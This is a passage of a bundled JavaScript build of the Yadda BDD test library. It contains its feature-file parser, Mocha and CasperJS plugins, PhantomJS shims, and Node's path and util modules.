SINGLE_LINE_COMMENT_REGEX.test(line)) return; \n if (match = SIMPLE_ANNOTATION_REGEX.exec(line)) return specification.handle('Annotation', { key: match[1], value: true });\n if (match = NVP_ANNOTATION_REGEX.exec(line)) return specification.handle('Annotation', { key: match[1], value: match[2] });\n if (match = FEATURE_REGEX.exec(line)) return specification.handle('Feature', match[1]);\n if (match = SCENARIO_REGEX.exec(line)) return specification.handle('Scenario', match[1]);\n if (match = EXAMPLES_REGEX.exec(line)) return specification.handle('Examples');\n if (match = BLANK_REGEX.test(line)) return specification.handle('Blank');\n if (match = TEXT_REGEX.exec(line)) return specification.handle('Text', match[1]);\n } catch (e) {\n throw new Error('Error parsing line ' + (index + 1) + ', \"' + line + '\".\\n' + e.message);\n };\n };\n}\n\nvar Handlers = function(handlers) {\n\n this.register = function(event, handler) {\n handlers[event] = handler;\n };\n\n this.unregister = function(event) {\n delete handlers[event];\n };\n\n this.find = function(event) {\n if (!handlers[event.toLowerCase()]) throw new Error(event + ' is unexpected at this time');\n return { handle: handlers[event.toLowerCase()] };\n };\n};\n\nvar Specification = function() {\n\n var current_element = this;\n var feature = undefined;\n var feature_annotations = {};\n var handlers = new Handlers({\n text: fn.noop,\n blank: fn.noop, \n annotation: stash_annotation,\n feature: start_feature,\n scenario: start_scenario\n });\n\n function stash_annotation(event, annotation) {\n feature_annotations[annotation.key] = annotation.value;\n feature_annotations[annotation.key.toLowerCase().replace(/\\W/g, '_')] = annotation.value;\n };\n\n function start_feature(event, title) {\n return feature = new Feature(title, feature_annotations);\n };\n\n function start_scenario(event, title) {\n start_feature();\n return feature.on(event, title);\n };\n\n this.handle = function(event, data) {\n current_element = current_element.on(event, data);\n };\n\n this.on = function(event, data) {\n return handlers.find(event).handle(event, data) || this; \n };\n\n this.export = function() {\n if (!feature) throw new Error('A feature must contain one or more scenarios');\n return feature.export();\n };\n};\n\nvar Feature = function(title, annotations) {\n\n var description = [];\n var scenarios = [];\n var scenario_annotations = {}; \n var handlers = new Handlers({\n text: capture_description,\n blank: end_description, \n annotation: stash_annotation, \n scenario: start_scenario\n }); \n var _this = this;\n\n function stash_annotation(event, annotation) {\n scenario_annotations[annotation.key] = annotation.value;\n scenario_annotations[annotation.key.toLowerCase().replace(/\\W/g, '_')] = annotation.value;\n };\n\n function capture_description(event, text) {\n description.push(text);\n };\n\n function end_description() {\n handlers.unregister('text');\n handlers.register('blank', fn.noop);\n };\n\n function start_scenario(event, title) {\n var scenario = new Scenario(title, scenario_annotations, _this);\n scenarios.push(scenario);\n scenario_annotations = {}; \n return scenario;\n };\n\n this.on = function(event, data) {\n return handlers.find(event).handle(event, data) || this;\n };\n\n this.export = function() {\n return {\n title: title,\n annotations: annotations,\n description: description,\n scenarios: $(scenarios).collect(function(scenario) {\n return scenario.export();\n }).flatten().naked()\n }; \n };\n};\n\nvar Scenario = function(title, annotations, feature) {\n\n var description = [];\n var steps = [];\n var examples = undefined;\n var handlers = new Handlers({\n text: capture_description, \n blank: end_description,\n annotation: start_scenario,\n scenario: start_scenario,\n examples: start_examples\n }); \n var _this = this; \n\n function capture_description(event, text) {\n description.push(text);\n };\n\n function end_description() {\n handlers.register('text', capture_step);\n handlers.register('blank', fn.noop);\n };\n\n function capture_step(event, text) {\n steps.push(text);\n }\n\n function start_scenario(event, data) {\n validate();\n return feature.on(event, data);\n }; \n\n function start_examples(event, data) {\n validate();\n return examples = new Examples(_this);\n };\n\n function validate() {\n if (steps.length == 0) throw new Error('Scenario requires one or more steps'); \n };\n\n this.on = function(event, data) {\n return handlers.find(event).handle(event, data) || this;\n };\n\n this.export = function() {\n validate();\n var result = {\n title: title,\n annotations: annotations,\n description: description,\n steps: steps\n };\n return examples ? examples.expand(result) : result;\n };\n};\n\nvar Examples = function(scenario) {\n\n var SURROUNDING_WHITESPACE_REGEX = /^\\s+|\\s+$/g;\n\n var headings = [];\n var examples = $();\n var handlers = new Handlers({\n text: capture_headings, \n blank: fn.noop,\n annotation: start_scenario,\n scenario: start_scenario,\n });\n\n function capture_headings(event, data) {\n handlers.register('text', capture_example);\n headings = split(data).collect(function(column) {\n return column.replace(SURROUNDING_WHITESPACE_REGEX, '');\n }).naked();\n };\n\n function capture_example(event, data) {\n var fields = split(data, headings.length);\n var example = {};\n fields.each(function(field, index) {\n example[headings[index]] = field.replace(SURROUNDING_WHITESPACE_REGEX, ''); \n });\n examples.push(example);\n };\n\n function split(row, number_of_fields) {\n var fields = $(row.split('|'));\n if (number_of_fields != undefined && number_of_fields != fields.length) {\n throw new Error('Incorrect number of fields in example table. Expected ' + number_of_fields + ' but found ' + fields.length); \n }\n return fields;\n };\n\n function start_scenario(event, data) {\n validate();\n return scenario.on(event, data);\n };\n\n function validate() {\n if (headings.length == 0) throw new Error('Examples table requires one or more headings');\n if (examples.length == 0) throw new Error('Examples table requires one or more rows'); \n };\n\n this.on = function(event, data) {\n return handlers.find(event).handle(event, data) || this;\n };\n\n this.expand = function(scenario) {\n validate();\n return examples.collect(function(example) {\n return {\n title: substitute(example, scenario.title),\n annotations: scenario.annotations,\n description: substitute(example, scenario.description),\n steps: substitute(example, scenario.steps)\n }; \n }).naked();\n };\n\n function substitute(example, lines) {\n return $(lines).collect(function(line) {\n for (var heading in example) {\n line = line.replace(new RegExp('\\\\[\\\\s*' + heading + '\\\\s*\\\\]', 'g'), example[heading]);\n };\n return line;\n }).naked();\n }\n};\n\nmodule.exports = FeatureParser;\n},{\"../Array\":1,\"../fn\":14,\"../localisation/English\":17}],25:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n\nvar $ = require('../Array');\n\nvar StepParser = function() {\n\n var NON_BLANK_REGEX = /[^\\s]/;\n\n this.parse = function(text, next) {\n var steps = split(text).find_all(non_blanks);\n return next && next(steps) || steps;\n };\n\n var split = function(text) {\n return $(text.split(/\\n/));\n };\n\n var non_blanks = function(text) {\n return text && NON_BLANK_REGEX.test(text);\n };\n};\n\nmodule.exports = StepParser;\n},{\"../Array\":1}],26:[function(require,module,exports){\nmodule.exports = {\n StepParser: require('./StepParser'),\n FeatureParser: require('./FeatureParser')\n}\n},{\"./FeatureParser\":24,\"./StepParser\":25}],27:[function(require,module,exports){\nvar global=typeof self !== \"undefined\" ? self : typeof window !== \"undefined\" ? window : {};if (!module.client) { \n var fs = require('fs');\n global.process = global.process || {\n cwd: function() {\n return fs.workingDirectory\n }\n };\n}\n\n\nmodule.exports = function(yadda, casper) {\n\n var EventBus = require('yadda').EventBus;\n\n yadda.interpreter.interpret_step = function(step, ctx, next) {\n\n var _this = this;\n casper.then(function() {\n casper.test.info(step);\n EventBus.instance().send(EventBus.ON_STEP, { step: step, ctx: ctx });\n _this.rank_macros(step).clear_winner().interpret(step, ctx, next);\n });\n };\n\n casper.yadda = function(script, ctx) {\n if (script == undefined) return this;\n yadda.yadda(script, ctx);\n }\n};\n\n},{\"fs\":35,\"yadda\":\"3V0FPO\"}],28:[function(require,module,exports){\nif (!module.client) {\n\tvar fs = require('fs');\n}\nvar English = require('../localisation/English');\nvar FeatureParser = require('../parsers/FeatureParser');\nvar $ = require('../Array');\n\nmodule.exports = function(options) {\n\n var options = options || {};\n var language = options.language || English;\n var parser = options.parser || new FeatureParser(language);\n var mode = options.mode || 'async';\n\tif (module.client) {\n\t\tvar feature = function (text, next) {\n\t\t\tparser.parse(text, function(feature) {\n\t\t\t\tvar _describe = feature.annotations[language.localise('pending')] ? xdescribe : describe;\n\t\t\t\t_describe(feature.title || filename, function() {\n\t\t\t\t\tnext(feature)\n\t\t\t\t});\n\t\t\t});\n\t\t};\n\t} else {\n\t\tvar feature = function (filenames, next) {\n\t\t\t$(filenames).each(function(filename) {\n\t\t\t\tvar text = fs.readFileSync(filename, 'utf8');\n\t\t\t\tparser.parse(text, function(feature) {\n\t\t\t\t\tvar _describe = feature.annotations[language.localise('pending')] ? xdescribe : describe;\n\t\t\t\t\t_describe(feature.title || filename, function() {\n\t\t\t\t\t\tnext(feature)\n\t\t\t\t\t});\n\t\t\t\t});\n\t\t\t});\n\t\t};\n\t}\n\n function async_scenarios(scenarios, next) {\n $(scenarios).each(function(scenario) {\n var _it = scenario.annotations[language.localise('pending')] ? xit : it;\n _it(scenario.title, function(done) {\n next(scenario, done)\n });\n });\n };\n\n function sync_scenarios(scenarios, next) {\n $(scenarios).each(function(scenario) {\n var _it = scenario.annotations[language.localise('pending')] ? xit : it;\n _it(scenario.title, function() {\n next(scenario)\n });\n });\n };\n\n\tif (typeof GLOBAL !== 'undefined') {\n\t\tGLOBAL.features = GLOBAL.feature = feature;\n\t\tGLOBAL.scenarios = mode == 'async' ? async_scenarios : sync_scenarios;\n\t}\n\n\tif (typeof window !== 'undefined') {\n\t\twindow.features = window.feature = feature;\n\t\twindow.scenarios = mode == 'async' ? async_scenarios : sync_scenarios;\n\t}\n};\n\n},{\"../Array\":1,\"../localisation/English\":17,\"../parsers/FeatureParser\":24,\"fs\":35}],29:[function(require,module,exports){\nmodule.exports = {\n casper: require('./CasperPlugin'),\n mocha: require('./MochaPlugin'),\n jasmine: require('./MochaPlugin')\n}\n},{\"./CasperPlugin\":27,\"./MochaPlugin\":28}],30:[function(require,module,exports){\nvar process=require(\"__browserify_process\"),global=typeof self !== \"undefined\" ? self : typeof window !== \"undefined\" ? window : {};/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nmodule.exports = (function() {\n\n var shims = {\n node: function() {\n return {\n fs: require('fs'),\n path: require('path'),\n process: process\n }\n },\n phantom: function() {\n return {\n fs: require('./phantom-fs'),\n path: require('./phantom-path'),\n process: require('./phantom-process')\n }\n }\n }\n\n function is_node() {\n return typeof global != 'undefined' &&\n typeof global.process != 'undefined' &&\n global.process.title == 'node';\n }\n\n function is_phantom() {\n return typeof phantom;\n }\n\n function get_shim() {\n if (is_node()) return shims.node();\n\n if (is_phantom()) return shims.phantom();\n throw new Error('Unsupported Platform');\n }\n\n return get_shim();\n})();\n\n},{\"./phantom-fs\":31,\"./phantom-path\":32,\"./phantom-process\":33,\"__browserify_process\":38,\"fs\":35,\"path\":36}],31:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nmodule.exports = (function() {\n if (module.client) {\n // Running in browser, not via node\n return {}; // short-circuit;\n }\n\n var fs = require('fs');\n\n fs.existsSync = fs.existsSync || fs.exists;\n\n fs.readdirSync = fs.readdirSync || function(path) {\n return fs.list(path).filter(function(name) {\n return name != '.' && name != '..';\n });\n };\n\n fs.statSync = fs.statSync || function(path) {\n return {\n isDirectory: function() {\n return fs.isDirectory(path);\n }\n }\n };\n\n return fs;\n})();\n\n},{\"fs\":35}],32:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nmodule.exports = (function() {\n if (module.client) {\n // Running in browser, not via node\n return {}; // short-circuit;\n }\n\n var fs = require('fs');\n var path = {};\n\n try {\n path = require('path');\n } catch (e) {\n // meh\n };\n\n path.join = path.join || function() {\n return Array.prototype.join.call(arguments, fs.separator);\n };\n\n path.relative = path.relative || function(from, to) {\n return from + fs.separator + to;\n };\n\n return path;\n\n})();\n\n},{\"fs\":35,\"path\":36}],33:[function(require,module,exports){\n/*\n * Copyright 2010 Acuminous Ltd / Energized Work Ltd\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nmodule.exports = (function() {\n if (module.client) {\n // Running in browser, not via node\n return {}; // short-circuit;\n }\n\n var fs = require('fs');\n var process = typeof process != 'undefined' ? process : {};\n\n process.cwd = function() {\n return fs.workingDirectory;\n };\n\n return process;\n\n})();\n\n},{\"fs\":35}],34:[function(require,module,exports){\n\n\n//\n// The shims in this file are not fully implemented shims for the ES5\n// features, but do work for the particular usecases there is in\n// the other modules.\n//\n\nvar toString = Object.prototype.toString;\nvar hasOwnProperty = Object.prototype.hasOwnProperty;\n\n// Array.isArray is supported in IE9\nfunction isArray(xs) {\n return toString.call(xs) === '[object Array]';\n}\nexports.isArray = typeof Array.isArray === 'function' ? Array.isArray : isArray;\n\n// Array.prototype.indexOf is supported in IE9\nexports.indexOf = function indexOf(xs, x) {\n if (xs.indexOf) return xs.indexOf(x);\n for (var i = 0; i < xs.length; i++) {\n if (x === xs[i]) return i;\n }\n return -1;\n};\n\n// Array.prototype.filter is supported in IE9\nexports.filter = function filter(xs, fn) {\n if (xs.filter) return xs.filter(fn);\n var res = [];\n for (var i = 0; i < xs.length; i++) {\n if (fn(xs[i], i, xs)) res.push(xs[i]);\n }\n return res;\n};\n\n// Array.prototype.forEach is supported in IE9\nexports.forEach = function forEach(xs, fn, self) {\n if (xs.forEach) return xs.forEach(fn, self);\n for (var i = 0; i < xs.length; i++) {\n fn.call(self, xs[i], i, xs);\n }\n};\n\n// Array.prototype.map is supported in IE9\nexports.map = function map(xs, fn) {\n if (xs.map) return xs.map(fn);\n var out = new Array(xs.length);\n for (var i = 0; i < xs.length; i++) {\n out[i] = fn(xs[i], i, xs);\n }\n return out;\n};\n\n// Array.prototype.reduce is supported in IE9\nexports.reduce = function reduce(array, callback, opt_initialValue) {\n if (array.reduce) return array.reduce(callback, opt_initialValue);\n var value, isValueSet = false;\n\n if (2 < arguments.length) {\n value = opt_initialValue;\n isValueSet = true;\n }\n for (var i = 0, l = array.length; l > i; ++i) {\n if (array.hasOwnProperty(i)) {\n if (isValueSet) {\n value = callback(value, array[i], i, array);\n }\n else {\n value = array[i];\n isValueSet = true;\n }\n }\n }\n\n return value;\n};\n\n// String.prototype.substr - negative index don't work in IE8\nif ('ab'.substr(-1) !== 'b') {\n exports.substr = function (str, start, length) {\n // did we get a negative start, calculate how much it is from the beginning of the string\n if (start < 0) start = str.length + start;\n\n // call the original function\n return str.substr(start, length);\n };\n} else {\n exports.substr = function (str, start, length) {\n return str.substr(start, length);\n };\n}\n\n// String.prototype.trim is supported in IE9\nexports.trim = function (str) {\n if (str.trim) return str.trim();\n return str.replace(/^\\s+|\\s+$/g, '');\n};\n\n// Function.prototype.bind is supported in IE9\nexports.bind = function () {\n var args = Array.prototype.slice.call(arguments);\n var fn = args.shift();\n if (fn.bind) return fn.bind.apply(fn, args);\n var self = args.shift();\n return function () {\n fn.apply(self, args.concat([Array.prototype.slice.call(arguments)]));\n };\n};\n\n// Object.create is supported in IE9\nfunction create(prototype, properties) {\n var object;\n if (prototype === null) {\n object = { '__proto__' : null };\n }\n else {\n if (typeof prototype !== 'object') {\n throw new TypeError(\n 'typeof prototype[' + (typeof prototype) + '] != \\'object\\''\n );\n }\n var Type = function () {};\n Type.prototype = prototype;\n object = new Type();\n object.__proto__ = prototype;\n }\n if (typeof properties !== 'undefined' && Object.defineProperties) {\n Object.defineProperties(object, properties);\n }\n return object;\n}\nexports.create = typeof Object.create === 'function' ? Object.create : create;\n\n// Object.keys and Object.getOwnPropertyNames is supported in IE9 however\n// they do show a description and number property on Error objects\nfunction notObject(object) {\n return ((typeof object != \"object\" && typeof object != \"function\") || object === null);\n}\n\nfunction keysShim(object) {\n if (notObject(object)) {\n throw new TypeError(\"Object.keys called on a non-object\");\n }\n\n var result = [];\n for (var name in object) {\n if (hasOwnProperty.call(object, name)) {\n result.push(name);\n }\n }\n return result;\n}\n\n// getOwnPropertyNames is almost the same as Object.keys one key feature\n// is that it returns hidden properties, since that can't be implemented,\n// this feature gets reduced so it just shows the length property on arrays\nfunction propertyShim(object) {\n if (notObject(object)) {\n throw new TypeError(\"Object.getOwnPropertyNames called on a non-object\");\n }\n\n var result = keysShim(object);\n if (exports.isArray(object) && exports.indexOf(object, 'length') === -1) {\n result.push('length');\n }\n return result;\n}\n\nvar keys = typeof Object.keys === 'function' ? Object.keys : keysShim;\nvar getOwnPropertyNames = typeof Object.getOwnPropertyNames === 'function' ?\n Object.getOwnPropertyNames : propertyShim;\n\nif (new Error().hasOwnProperty('description')) {\n var ERROR_PROPERTY_FILTER = function (obj, array) {\n if (toString.call(obj) === '[object Error]') {\n array = exports.filter(array, function (name) {\n return name !== 'description' && name !== 'number' && name !== 'message';\n });\n }\n return array;\n };\n\n exports.keys = function (object) {\n return ERROR_PROPERTY_FILTER(object, keys(object));\n };\n exports.getOwnPropertyNames = function (object) {\n return ERROR_PROPERTY_FILTER(object, getOwnPropertyNames(object));\n };\n} else {\n exports.keys = keys;\n exports.getOwnPropertyNames = getOwnPropertyNames;\n}\n\n// Object.getOwnPropertyDescriptor - supported in IE8 but only on dom elements\nfunction valueObject(value, key) {\n return { value: value[key] };\n}\n\nif (typeof Object.getOwnPropertyDescriptor === 'function') {\n try {\n Object.getOwnPropertyDescriptor({'a': 1}, 'a');\n exports.getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;\n } catch (e) {\n // IE8 dom element issue - use a try catch and default to valueObject\n exports.getOwnPropertyDescriptor = function (value, key) {\n try {\n return Object.getOwnPropertyDescriptor(value, key);\n } catch (e) {\n return valueObject(value, key);\n }\n };\n }\n} else {\n exports.getOwnPropertyDescriptor = valueObject;\n}\n\n},{}],35:[function(require,module,exports){\n\n// not implemented\n// The reason for having an empty file and not throwing is to allow\n// untraditional implementation of this module.\n\n},{}],36:[function(require,module,exports){\nvar process=require(\"__browserify_process\");// Copyright Joyent, Inc. and other Node contributors.\n//\n// Permission is hereby granted, free of charge, to any person obtaining a\n// copy of this software and associated documentation files (the\n// \"Software\"), to deal in the Software without restriction, including\n// without limitation the rights to use, copy, modify, merge, publish,\n// distribute, sublicense, and/or sell copies of the Software, and to permit\n// persons to whom the Software is furnished to do so, subject to the\n// following conditions:\n//\n// The above copyright notice and this permission notice shall be included\n// in all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN\n// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE\n// USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nvar util = require('util');\nvar shims = require('_shims');\n\n// resolves . and .. elements in a path array with directory names there\n// must be no slashes, empty elements, or device names (c:\\) in the array\n// (so also no leading and trailing slashes - it does not distinguish\n// relative and absolute paths)\nfunction normalizeArray(parts, allowAboveRoot) {\n // if the path tries to go above the root, `up` ends up > 0\n var up = 0;\n for (var i = parts.length - 1; i >= 0; i--) {\n var last = parts[i];\n if (last === '.') {\n parts.splice(i, 1);\n } else if (last === '..') {\n parts.splice(i, 1);\n up++;\n } else if (up) {\n parts.splice(i, 1);\n up--;\n }\n }\n\n // if the path is allowed to go above the root, restore leading ..s\n if (allowAboveRoot) {\n for (; up--; up) {\n parts.unshift('..');\n }\n }\n\n return parts;\n}\n\n// Split a filename into [root, dir, basename, ext], unix version\n// 'root' is just a slash, or nothing.\nvar splitPathRe =\n /^(\\/?|)([\\s\\S]*?)((?:\\.{1,2}|[^\\/]+?|)(\\.[^.\\/]*|))(?:[\\/]*)$/;\nvar splitPath = function(filename) {\n return splitPathRe.exec(filename).slice(1);\n};\n\n// path.resolve([from ...], to)\n// posix version\nexports.resolve = function() {\n var resolvedPath = '',\n resolvedAbsolute = false;\n\n for (var i = arguments.length - 1; i >= -1 && !resolvedAbsolute; i--) {\n var path = (i >= 0) ? arguments[i] : process.cwd();\n\n // Skip empty and invalid entries\n if (!util.isString(path)) {\n throw new TypeError('Arguments to path.resolve must be strings');\n } else if (!path) {\n continue;\n }\n\n resolvedPath = path + '/' + resolvedPath;\n resolvedAbsolute = path.charAt(0) === '/';\n }\n\n // At this point the path should be resolved to a full absolute path, but\n // handle relative paths to be safe (might happen when process.cwd() fails)\n\n // Normalize the path\n resolvedPath = normalizeArray(shims.filter(resolvedPath.split('/'), function(p) {\n return !!p;\n }), !resolvedAbsolute).join('/');\n\n return ((resolvedAbsolute ? '/' : '') + resolvedPath) || '.';\n};\n\n// path.normalize(path)\n// posix version\nexports.normalize = function(path) {\n var isAbsolute = exports.isAbsolute(path),\n trailingSlash = shims.substr(path, -1) === '/';\n\n // Normalize the path\n path = normalizeArray(shims.filter(path.split('/'), function(p) {\n return !!p;\n }), !isAbsolute).join('/');\n\n if (!path && !isAbsolute) {\n path = '.';\n }\n if (path && trailingSlash) {\n path += '/';\n }\n\n return (isAbsolute ? '/' : '') + path;\n};\n\n// posix version\nexports.isAbsolute = function(path) {\n return path.charAt(0) === '/';\n};\n\n// posix version\nexports.join = function() {\n var paths = Array.prototype.slice.call(arguments, 0);\n return exports.normalize(shims.filter(paths, function(p, index) {\n if (!util.isString(p)) {\n throw new TypeError('Arguments to path.join must be strings');\n }\n return p;\n }).join('/'));\n};\n\n\n// path.relative(from, to)\n// posix version\nexports.relative = function(from, to) {\n from = exports.resolve(from).substr(1);\n to = exports.resolve(to).substr(1);\n\n function trim(arr) {\n var start = 0;\n for (; start < arr.length; start++) {\n if (arr[start] !== '') break;\n }\n\n var end = arr.length - 1;\n for (; end >= 0; end--) {\n if (arr[end] !== '') break;\n }\n\n if (start > end) return [];\n return arr.slice(start, end - start + 1);\n }\n\n var fromParts = trim(from.split('/'));\n var toParts = trim(to.split('/'));\n\n var length = Math.min(fromParts.length, toParts.length);\n var samePartsLength = length;\n for (var i = 0; i < length; i++) {\n if (fromParts[i] !== toParts[i]) {\n samePartsLength = i;\n break;\n }\n }\n\n var outputParts = [];\n for (var i = samePartsLength; i < fromParts.length; i++) {\n outputParts.push('..');\n }\n\n outputParts = outputParts.concat(toParts.slice(samePartsLength));\n\n return outputParts.join('/');\n};\n\nexports.sep = '/';\nexports.delimiter = ':';\n\nexports.dirname = function(path) {\n var result = splitPath(path),\n root = result[0],\n dir = result[1];\n\n if (!root && !dir) {\n // No dirname whatsoever\n return '.';\n }\n\n if (dir) {\n // It has a dirname, strip trailing slash\n dir = dir.substr(0, dir.length - 1);\n }\n\n return root + dir;\n};\n\n\nexports.basename = function(path, ext) {\n var f = splitPath(path)[2];\n // TODO: make this comparison case-insensitive on windows?\n if (ext && f.substr(-1 * ext.length) === ext) {\n f = f.substr(0, f.length - ext.length);\n }\n return f;\n};\n\n\nexports.extname = function(path) {\n return splitPath(path)[3];\n};\n\n},{\"__browserify_process\":38,\"_shims\":34,\"util\":37}],37:[function(require,module,exports){\n// Copyright Joyent, Inc. and other Node contributors.\n//\n// Permission is hereby granted, free of charge, to any person obtaining a\n// copy of this software and associated documentation files (the\n// \"Software\"), to deal in the Software without restriction, including\n// without limitation the rights to use, copy, modify, merge, publish,\n// distribute, sublicense, and/or sell copies of the Software, and to permit\n// persons to whom the Software is furnished to do so, subject to the\n// following conditions:\n//\n// The above copyright notice and this permission notice shall be included\n// in all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN\n// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,\n// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR\n// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE\n// USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nvar shims = require('_shims');\n\nvar formatRegExp = /%[sdj%]/g;\nexports.format = function(f) {\n if (!isString(f)) {\n var objects = [];\n for (var i = 0; i < arguments.length; i++) {\n objects.push(inspect(arguments[i]));\n }\n return objects.join(' ');\n }\n\n var i = 1;\n var args = arguments;\n var len = args.length;\n var str = String(f).replace(formatRegExp, function(x) {\n if (x === '%%') return '%';\n if (i >= len) return x;\n switch (x) {\n case '%s': return String(args[i++]);\n case '%d': return Number(args[i++]);\n case '%j':\n try {\n return JSON.stringify(args[i++]);\n } catch (_) {\n return '[Circular]';\n }\n default:\n return x;\n }\n });\n for (var x = args[i]; i < len; x = args[++i]) {\n if (isNull(x) || !isObject(x)) {\n str += ' ' + x;\n } else {\n str += ' ' + inspect(x);\n }\n }\n return str;\n};\n\n/**\n * Echos the value of a value. Trys to print the value out\n * in the best way possible given the different types.\n *\n * @param {Object} obj The object to print out.\n * @param {Object} opts Optional options object that alters the output.\n */\n/* legacy: obj, showHidden, depth, colors*/\nfunction inspect(obj, opts) {\n // default options\n var ctx = {\n seen: [],\n stylize: stylizeNoColor\n };\n // legacy...\n if (arguments.length >= 3) ctx.depth = arguments[2];\n if (arguments.length >= 4) ctx.colors = arguments[3];\n if (isBoolean(opts)) {\n // legacy...\n ctx.showHidden = opts;\n } else if (opts) {\n // got an \"options\" object\n exports._extend(ctx, opts);\n }\n // set default options\n if (isUndefined(ctx.showHidden)) ctx.showHidden = false;\n if (isUndefined(ctx.depth)) ctx.depth = 2;\n if (isUndefined(ctx.colors)) ctx.colors = false;\n if (isUndefined(ctx.customInspect)) ctx.customInspect = true;\n if (ctx.colors) ctx.stylize = stylizeWithColor;\n return formatValue(ctx, obj, ctx.depth);\n}\nexports.inspect = inspect;\n\n\n// http://en.wikipedia.org/wiki/ANSI_escape_code#graphics\ninspect.colors = {\n 'bold' : [1, 22],\n 'italic' : [3, 23],\n 'underline' : [4, 24],\n 'inverse' : [7, 27],\n 'white' : [37, 39],\n 'grey' : [90, 39],\n 'black' : [30, 39],\n 'blue' : [34, 39],\n 'cyan' : [36, 39],\n 'green' : [32, 39],\n 'magenta' : [35, 39],\n 'red' : [31, 39],\n 'yellow' : [33, 39]\n};\n\n// Don't use 'blue' not visible on cmd.exe\ninspect.styles = {\n 'special': 'cyan',\n 'number': 'yellow',\n 'boolean': 'yellow',\n 'undefined': 'grey',\n 'null': 'bold',\n 'string': 'green',\n 'date': 'magenta',\n // \"name\": intentionally not styling\n 'regexp': 'red'\n};\n\n\nfunction stylizeWithColor(str, styleType) {\n var style = inspect.styles[styleType];\n\n if (style) {\n return '\\u001b[' + inspect.colors[style][0] + 'm' + str +\n '\\u001b[' + inspect.colors[style][1] + 'm';\n } else {\n return str;\n }\n}\n\n\nfunction stylizeNoColor(str, styleType) {\n return str;\n}\n\n\nfunction arrayToHash(array) {\n var hash = {};\n\n shims.forEach(array, function(val, idx) {\n hash[val] = true;\n });\n\n return hash;\n}\n\n\nfunction formatValue(ctx, value, recurseTimes) {\n // Provide a hook for user-specified inspect functions.\n // Check that value is an object with an inspect function on it\n if (ctx.customInspect &&\n value &&\n isFunction(value.inspect) &&\n // Filter out the util module, it's inspect function is special\n value.inspect !== exports.inspect &&\n // Also filter out any prototype objects using the circular check.\n !(value.constructor && value.constructor.prototype === value)) {\n var ret = value.inspect(recurseTimes);\n if (!isString(ret)) {\n ret = formatValue(ctx, ret, recurseTimes);\n }\n return ret;\n }\n\n // Primitive types cannot have properties\n var primitive = formatPrimitive(ctx, value);\n if (primitive) {\n return primitive;\n }\n\n // Look up the keys of the object.\n var keys = shims.keys(value);\n var visibleKeys = arrayToHash(keys);\n\n if (ctx.showHidden) {\n keys = shims.getOwnPropertyNames(value);\n }\n\n // Some type of object without properties can be shortcutted.\n if (keys.length === 0) {\n if (isFunction(value)) {\n var name = value.name ? ': ' + value.name : '';\n return ctx.stylize('[Function' + name + ']', 'special');\n }\n if (isRegExp(value)) {\n return ctx.stylize(RegExp.prototype.toString.call(value), 